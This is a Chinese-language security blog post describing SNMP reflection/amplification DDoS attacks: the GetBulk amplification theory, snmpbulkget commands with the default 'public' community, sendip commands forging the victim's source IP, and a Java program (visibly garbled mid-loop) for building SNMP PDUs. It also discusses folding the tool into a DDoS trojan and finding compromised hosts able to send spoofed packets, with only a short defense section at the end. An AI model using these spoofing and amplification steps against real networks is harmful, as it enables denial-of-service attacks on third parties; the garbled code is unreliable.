# 基于snmp的反射攻击的理论及其实现
0x00前言
——
* * *
当时dns反射攻击爆发的时候,我就开始研究snmp的反射攻击(实际可以达到20倍的放大效果),在2013年夏天就已经理论研究完成,后来实现工具化。最后还差规模化(武器化)。其实,是国外在2013年初,就有只言片语叙述snmp的反射攻击,但是没有一篇完整的文章,最近在微博上看到很多朋友转载国外的信息,我觉得,如果再不把自己所研究的放出来刷刷存在感,让我这个rank9的人活不下去了。
0x01背景
——
* * *
罗嗦了这么多,进入正题。
首先反射攻击的基础是向有缺陷的目标发送精心构造的伪造源ip地址的udp包来实现。第二,需要主机和缺陷主机之间有大小不对等的信息交换。一般满足这两个条件就可以来实现反射攻击。
0x02理论
——
* * *
Snmp就不过多介绍了,大家可以百度。Snmp有3个版本,这里攻击最理想的是2c版本,而恰恰2c版本也是应用最广的。
在bt5下可以用snmpwalk或snmpget命令来和snmp主机进行交换数据。
“`
Snmpwalk –c public –v2c IP oid
“`
这里oid是获取snmp具体信息内容的一个标识,snmp里面存的信息是一个树状的信息结构。
![2014052716250940920.jpg](http://drops.javaweb.org/uploads/images/9a96b3313773c0ebfc4850272457d2fe44359174.jpg)
其实snmpwalk是获取一条oid信息,但是这个oid里面附带了下一个树节点的oid号,然后snmp会通过 snmpget继续访问下一个oid号(在getnext字段里面),来执行一个类似于循环的行为,但是snmpget的协议大家也看到了,只能获取到一条信息,79的信息长度,只能获得279的反馈,这样实现攻击的放大倍数是不给力的。
关键点来了,根据rfc1441-rfc1452文档说明,snmp第二版里面引入了getbulk来取代反复getnext,用来更好的在单个请求里面获得大量的管理数据。相对应的bt5下还有个snmpbulkget命令
“`
snmpbulkget -v2c -Cn0 -Cr70 -c public IP oid
“`
对应就是获取当前oid后面的70个团体字,这样如果你用snmpwalk跑一个1.3.6的团体字会看到很多信息,而你用bulkget这个一次就可以收到一个包里面包含70条信息的数据包,如图。
![2014052716263586576.jpg](http://drops.javaweb.org/uploads/images/d2689e89e6b433e7982a49aaf7fd00659b76a7b0.jpg)
这里看到数据包的length大家就会明白了,就是利用这种方式,来获得反射攻击的效果。
这里大家会有个疑问。一个snmp里面会包含n多的信息(上千条肯定有了)为什么这里只用70条,用更多的会返回更多的信息,获得更大的倍数。当然我也想,这么做,可是snmp这协议不像ntp协议直接给你把数据分包返回,而是通过一个包里的不同字段返回多个信息的,所以这里面就会受到网络链路上的mtu这个值的影响,1500这个硬伤是不能越过去的。理论上已经实现了信息不对等的交互了,那么下面就是伪造源ip发udp包的环节了。
此处我用的是sendip这个工具,安装很简单http://www.earth.li/projectpurple/progs/sendip.html
下载源码之后直接在linux下编译安装,这其中可能会遇到编译问题,请参考这里http://blog.csdn.net/figo1986/article/details/7336131
下面看下我用的命令
“`
sendip -v -p ipv4 -is src_IP -id dst_IP -p udp -us 8000 -ud 161 dst_IP -d0x123456789
“`
这里是使用ipv4的协议发送udp包,src_IP 源ip, dst_ip 目的ip,-us udp源端口,-ud udp目的端口,这里snmp默认端口是161,源端口自己随便填,最后部分是数据部分,其实可以直接输入明文的,但是snmp的pdu编码是非常蛋疼的,所以我使用了-d 16进制的形式。
下面是效果,这个包就发到本地吧,这里的源地址就是ddos的反射攻击的被攻击者的地址。
![2014052716275084302.jpg](http://drops.javaweb.org/uploads/images/b31bc800ed0516c8cf34cec9cf0dd2652d2aafd7.jpg)
这里看到了效果,为下一步工具化进行了铺垫
最后这个图是虚拟机环境搭的,实现反射攻击的整体图
![2014052716283040757.jpg](http://drops.javaweb.org/uploads/images/c9fbb26b647acfad1b74527bf5438592d1ddfe4f.jpg)
0x03工具化
——-
* * *
首先要解决snmp数据包pdu部分的蛋疼的编码部分,snmp的数据部分是符合基本编码规则(ber)的这里有三篇文章,大家可以完全读懂ber编码和snmp的关系。
http://blog.csdn.net/shanzhizi/article/details/11574849
http://yuanmuqiuyu2000.blog.sohu.com/72641116.html
http://blog.chinaunix.net/uid-23069658-id-3251045.html
对于这个蛋疼的编码,我写了个java程序来生成pdu,里面有注释,大家很好理解的。
“`
import java.io.UnsupportedEncodingException;
public class SnmpPDUber {
public static String sumlen(String s){
int c=0;
String r=””;
String r2=””;
s=qukongge(s);
s=s.replaceAll(” “,”+”);
r=s.replaceAll(“\\+”,””);
//System.out.println(s);
c=r.length()/2;
r2=Integer.toHexString(c); //十进制转换成16进制返回
return subStr(r2);
}
public static String randomtohex(int i) //产生 i 组 16进制 随机数
{
String s=””;
int k;
for(int j=0;j vbs = response.getVariableBindings();
for (VariableBinding vb : vbs) {
System.out.println(vb + ” ,” + vb.getVariable().getSyntaxString());
}
} else {
System.out.println(“Error:” + response.getErrorStatusText());
}
}
}
}
“`
0x04武器化
——-
* * *
这里面sendip可以作为一个模块集成到linux下面的ddos马里面。
好吧让大家失望了,从上面的各种杂牌程序大家不难看出,我是一个不会写程序的人,所以ddos的马部分默默地忽略掉吧,如果有大神会写,我们可以共同研究。
0x05局限性,防御办法和解决办法
—————–
* * *
第一,需要发包的肉鸡是属于纯外网ip地址,因为一般经过路由或者特殊设置(例如设置:忽略从lan口来的源ip地址不属于本子网的数据包)的三层交换时,此伪造包就会被过滤掉,从而失去效果。解决办法就是找那种可以发伪造包的肉鸡,其实还是很多的,简单点说nat形式为0的,基本都能发。这种肉鸡国外还是不少的。
第二,是混世魔王给我提出来的,能进行反射的主机的数量。这个还是很多的,因为不光有些有需要的linux开snmp,其实linux开snmp的基本都是内网的机器,用来进行性能监控用,更多的是网络上的设备,交换,路由,防火墙等,这些设备从小到大都会有开snmp的,他们所属的带宽大小也会有所不同,百兆千兆甚至万兆以太网口的设备都是会出现的。所以这方面能反射的主机数量不用担心。在上面工具化里面的扫描工具实践一下就可以看出来。
第三,防御办法,开snmp的主机尽量不要暴露在外网,还可以用改 默认密码来限制访问,或者改默认161端口。或者禁止响应bulkget的这种包,仅仅响应get方式获取
欢迎各位朋友来指正问题。
请登录后查看评论内容